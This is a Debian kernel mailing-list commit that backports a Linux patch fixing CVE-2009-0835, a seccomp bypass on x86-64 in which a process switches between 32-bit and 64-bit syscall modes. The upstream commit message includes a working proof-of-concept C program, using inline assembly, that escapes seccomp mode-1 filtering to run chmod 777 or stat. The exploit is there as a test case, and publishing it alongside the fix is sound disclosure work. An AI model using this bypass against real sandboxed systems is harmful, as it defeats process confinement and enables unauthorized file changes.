[kernel] r13330 - in dists/lenny-security/linux-2.6/debian: . patches/bugfix/all patches/series

Dann Frazier dannf at alioth.debian.org
Sat Apr 4 21:08:06 UTC 2009


Author: dannf
Date: Sat Apr  4 21:08:04 2009
New Revision: 13330

Log:
seccomp: fix 32/64 syscall hole (CVE-2009-0835)

Added:
   dists/lenny-security/linux-2.6/debian/patches/bugfix/all/seccomp-fix-32+64-syscall-hole.patch
Modified:
   dists/lenny-security/linux-2.6/debian/changelog
   dists/lenny-security/linux-2.6/debian/patches/series/15lenny1

Modified: dists/lenny-security/linux-2.6/debian/changelog
==============================================================================
--- dists/lenny-security/linux-2.6/debian/changelog	(original)
+++ dists/lenny-security/linux-2.6/debian/changelog	Sat Apr  4 21:08:04 2009
@@ -5,6 +5,7 @@
   * ecryptfs: Allocate a variable number of pages for file headers
     (CVE-2009-0787)
   * [amd64] syscall-audit: fix 32/64 syscall hole
+  * seccomp: fix 32/64 syscall hole (CVE-2009-0835)
 
  -- dann frazier <dannf at debian.org>  Fri, 03 Apr 2009 19:12:51 -0600
 

Added: dists/lenny-security/linux-2.6/debian/patches/bugfix/all/seccomp-fix-32+64-syscall-hole.patch
==============================================================================
--- (empty file)
+++ dists/lenny-security/linux-2.6/debian/patches/bugfix/all/seccomp-fix-32+64-syscall-hole.patch	Sat Apr  4 21:08:04 2009
@@ -0,0 +1,214 @@
+commit 5b1017404aea6d2e552e991b3fd814d839e9cd67
+Author: Roland McGrath <roland at redhat.com>
+Date:   Fri Feb 27 23:25:54 2009 -0800
+
+    x86-64: seccomp: fix 32/64 syscall hole
+    
+    On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with
+    ljmp, and then use the "syscall" instruction to make a 64-bit system
+    call.  A 64-bit process make a 32-bit system call with int $0x80.
+    
+    In both these cases under CONFIG_SECCOMP=y, secure_computing() will use
+    the wrong system call number table.  The fix is simple: test TS_COMPAT
+    instead of TIF_IA32.  Here is an example exploit:
+    
+    	/* test case for seccomp circumvention on x86-64
+    
+    	   There are two failure modes: compile with -m64 or compile with -m32.
+    
+    	   The -m64 case is the worst one, because it does "chmod 777 ." (could
+    	   be any chmod call).  The -m32 case demonstrates it was able to do
+    	   stat(), which can glean information but not harm anything directly.
+    
+    	   A buggy kernel will let the test do something, print, and exit 1; a
+    	   fixed kernel will make it exit with SIGKILL before it does anything.
+    	*/
+    
+    	#define _GNU_SOURCE
+    	#include <assert.h>
+    	#include <inttypes.h>
+    	#include <stdio.h>
+    	#include <linux/prctl.h>
+    	#include <sys/stat.h>
+    	#include <unistd.h>
+    	#include <asm/unistd.h>
+    
+    	int
+    	main (int argc, char **argv)
+    	{
+    	  char buf[100];
+    	  static const char dot[] = ".";
+    	  long ret;
+    	  unsigned st[24];
+    
+    	  if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0)
+    	    perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?");
+    
+    	#ifdef __x86_64__
+    	  assert ((uintptr_t) dot < (1UL << 32));
+    	  asm ("int $0x80 # %0 <- %1(%2 %3)"
+    	       : "=a" (ret) : "0" (15), "b" (dot), "c" (0777));
+    	  ret = snprintf (buf, sizeof buf,
+    			  "result %ld (check mode on .!)\n", ret);
+    	#elif defined __i386__
+    	  asm (".code32\n"
+    	       "pushl %%cs\n"
+    	       "pushl $2f\n"
+    	       "ljmpl $0x33, $1f\n"
+    	       ".code64\n"
+    	       "1: syscall # %0 <- %1(%2 %3)\n"
+    	       "lretl\n"
+    	       ".code32\n"
+    	       "2:"
+    	       : "=a" (ret) : "0" (4), "D" (dot), "S" (&st));
+    	  if (ret == 0)
+    	    ret = snprintf (buf, sizeof buf,
+    			    "stat . -> st_uid=%u\n", st[7]);
+    	  else
+    	    ret = snprintf (buf, sizeof buf, "result %ld\n", ret);
+    	#else
+    	# error "not this one"
+    	#endif
+    
+    	  write (1, buf, ret);
+    
+    	  syscall (__NR_exit, 1);
+    	  return 2;
+    	}
+    
+    Signed-off-by: Roland McGrath <roland at redhat.com>
+    [ I don't know if anybody actually uses seccomp, but it's enabled in
+      at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ]
+    Signed-off-by: Linus Torvalds <torvalds at linux-foundation.org>
+
+Backported to Debian's 2.6.26 by dann frazier <dannf at debian.org>
+
+diff -urpN linux-source-2.6.26.orig/include/asm-mips/seccomp.h linux-source-2.6.26/include/asm-mips/seccomp.h
+--- linux-source-2.6.26.orig/include/asm-mips/seccomp.h	2008-07-13 15:51:29.000000000 -0600
++++ linux-source-2.6.26/include/asm-mips/seccomp.h	2009-04-04 11:43:34.000000000 -0600
+@@ -1,6 +1,5 @@
+ #ifndef __ASM_SECCOMP_H
+ 
+-#include <linux/thread_info.h>
+ #include <linux/unistd.h>
+ 
+ #define __NR_seccomp_read __NR_read
+diff -urpN linux-source-2.6.26.orig/include/asm-powerpc/compat.h linux-source-2.6.26/include/asm-powerpc/compat.h
+--- linux-source-2.6.26.orig/include/asm-powerpc/compat.h	2008-07-13 15:51:29.000000000 -0600
++++ linux-source-2.6.26/include/asm-powerpc/compat.h	2009-04-04 11:43:34.000000000 -0600
+@@ -210,5 +210,10 @@ struct compat_shmid64_ds {
+ 	compat_ulong_t __unused6;
+ };
+ 
++static inline int is_compat_task(void)
++{
++	return test_thread_flag(TIF_32BIT);
++}
++
+ #endif /* __KERNEL__ */
+ #endif /* _ASM_POWERPC_COMPAT_H */
+diff -urpN linux-source-2.6.26.orig/include/asm-powerpc/seccomp.h linux-source-2.6.26/include/asm-powerpc/seccomp.h
+--- linux-source-2.6.26.orig/include/asm-powerpc/seccomp.h	2008-07-13 15:51:29.000000000 -0600
++++ linux-source-2.6.26/include/asm-powerpc/seccomp.h	2009-04-04 11:43:33.000000000 -0600
+@@ -1,10 +1,6 @@
+ #ifndef _ASM_POWERPC_SECCOMP_H
+ #define _ASM_POWERPC_SECCOMP_H
+ 
+-#ifdef __KERNEL__
+-#include <linux/thread_info.h>
+-#endif
+-
+ #include <linux/unistd.h>
+ 
+ #define __NR_seccomp_read __NR_read
+diff -urpN linux-source-2.6.26.orig/include/asm-sparc64/compat.h linux-source-2.6.26/include/asm-sparc64/compat.h
+--- linux-source-2.6.26.orig/include/asm-sparc64/compat.h	2008-07-13 15:51:29.000000000 -0600
++++ linux-source-2.6.26/include/asm-sparc64/compat.h	2009-04-04 11:43:32.000000000 -0600
+@@ -240,4 +240,9 @@ struct compat_shmid64_ds {
+ 	unsigned int	__unused2;
+ };
+ 
++static inline int is_compat_task(void)
++{
++	return test_thread_flag(TIF_32BIT);
++}
++
+ #endif /* _ASM_SPARC64_COMPAT_H */
+diff -urpN linux-source-2.6.26.orig/include/asm-sparc64/seccomp.h linux-source-2.6.26/include/asm-sparc64/seccomp.h
+--- linux-source-2.6.26.orig/include/asm-sparc64/seccomp.h	2008-07-13 15:51:29.000000000 -0600
++++ linux-source-2.6.26/include/asm-sparc64/seccomp.h	2009-04-04 11:42:11.000000000 -0600
+@@ -1,11 +1,5 @@
+ #ifndef _ASM_SECCOMP_H
+ 
+-#include <linux/thread_info.h> /* already defines TIF_32BIT */
+-
+-#ifndef TIF_32BIT
+-#error "unexpected TIF_32BIT on sparc64"
+-#endif
+-
+ #include <linux/unistd.h>
+ 
+ #define __NR_seccomp_read __NR_read
+diff -urpN linux-source-2.6.26.orig/include/asm-x86/seccomp_32.h linux-source-2.6.26/include/asm-x86/seccomp_32.h
+--- linux-source-2.6.26.orig/include/asm-x86/seccomp_32.h	2008-07-13 15:51:29.000000000 -0600
++++ linux-source-2.6.26/include/asm-x86/seccomp_32.h	2009-04-04 11:42:29.000000000 -0600
+@@ -1,11 +1,5 @@
+ #ifndef _ASM_SECCOMP_H
+ 
+-#include <linux/thread_info.h>
+-
+-#ifdef TIF_32BIT
+-#error "unexpected TIF_32BIT on i386"
+-#endif
+-
+ #include <linux/unistd.h>
+ 
+ #define __NR_seccomp_read __NR_read
+diff -urpN linux-source-2.6.26.orig/include/asm-x86/seccomp_64.h linux-source-2.6.26/include/asm-x86/seccomp_64.h
+--- linux-source-2.6.26.orig/include/asm-x86/seccomp_64.h	2008-07-13 15:51:29.000000000 -0600
++++ linux-source-2.6.26/include/asm-x86/seccomp_64.h	2009-04-04 11:42:47.000000000 -0600
+@@ -1,13 +1,5 @@
+ #ifndef _ASM_SECCOMP_H
+ 
+-#include <linux/thread_info.h>
+-
+-#ifdef TIF_32BIT
+-#error "unexpected TIF_32BIT on x86_64"
+-#else
+-#define TIF_32BIT TIF_IA32
+-#endif
+-
+ #include <linux/unistd.h>
+ #include <asm/ia32_unistd.h>
+ 
+diff -urpN linux-source-2.6.26.orig/kernel/seccomp.c linux-source-2.6.26/kernel/seccomp.c
+--- linux-source-2.6.26.orig/kernel/seccomp.c	2008-07-13 15:51:29.000000000 -0600
++++ linux-source-2.6.26/kernel/seccomp.c	2009-04-04 11:43:28.000000000 -0600
+@@ -8,6 +8,7 @@
+ 
+ #include <linux/seccomp.h>
+ #include <linux/sched.h>
++#include <linux/compat.h>
+ 
+ /* #define SECCOMP_DEBUG 1 */
+ #define NR_SECCOMP_MODES 1
+@@ -22,7 +23,7 @@ static int mode1_syscalls[] = {
+ 	0, /* null terminated */
+ };
+ 
+-#ifdef TIF_32BIT
++#ifdef CONFIG_COMPAT
+ static int mode1_syscalls_32[] = {
+ 	__NR_seccomp_read_32, __NR_seccomp_write_32, __NR_seccomp_exit_32, __NR_seccomp_sigreturn_32,
+ 	0, /* null terminated */
+@@ -37,8 +38,8 @@ void __secure_computing(int this_syscall
+ 	switch (mode) {
+ 	case 1:
+ 		syscall = mode1_syscalls;
+-#ifdef TIF_32BIT
+-		if (test_thread_flag(TIF_32BIT))
++#ifdef CONFIG_COMPAT
++		if (is_compat_task())
+ 			syscall = mode1_syscalls_32;
+ #endif
+ 		do {

Modified: dists/lenny-security/linux-2.6/debian/patches/series/15lenny1
==============================================================================
--- dists/lenny-security/linux-2.6/debian/patches/series/15lenny1	(original)
+++ dists/lenny-security/linux-2.6/debian/patches/series/15lenny1	Sat Apr  4 21:08:04 2009
@@ -2,3 +2,4 @@
 + bugfix/all/ecryptfs-fix-mem-corruption-when-storing-crypto-info-in-xattrs.patch
 + bugfix/all/ecryptfs-allocate-a-variable-number-of-pages-for-file-headers.patch
 + bugfix/x86/syscall-audit-fix-32+64-syscall-hole.patch
++ bugfix/all/seccomp-fix-32+64-syscall-hole.patch



More information about the Kernel-svn-changes mailing list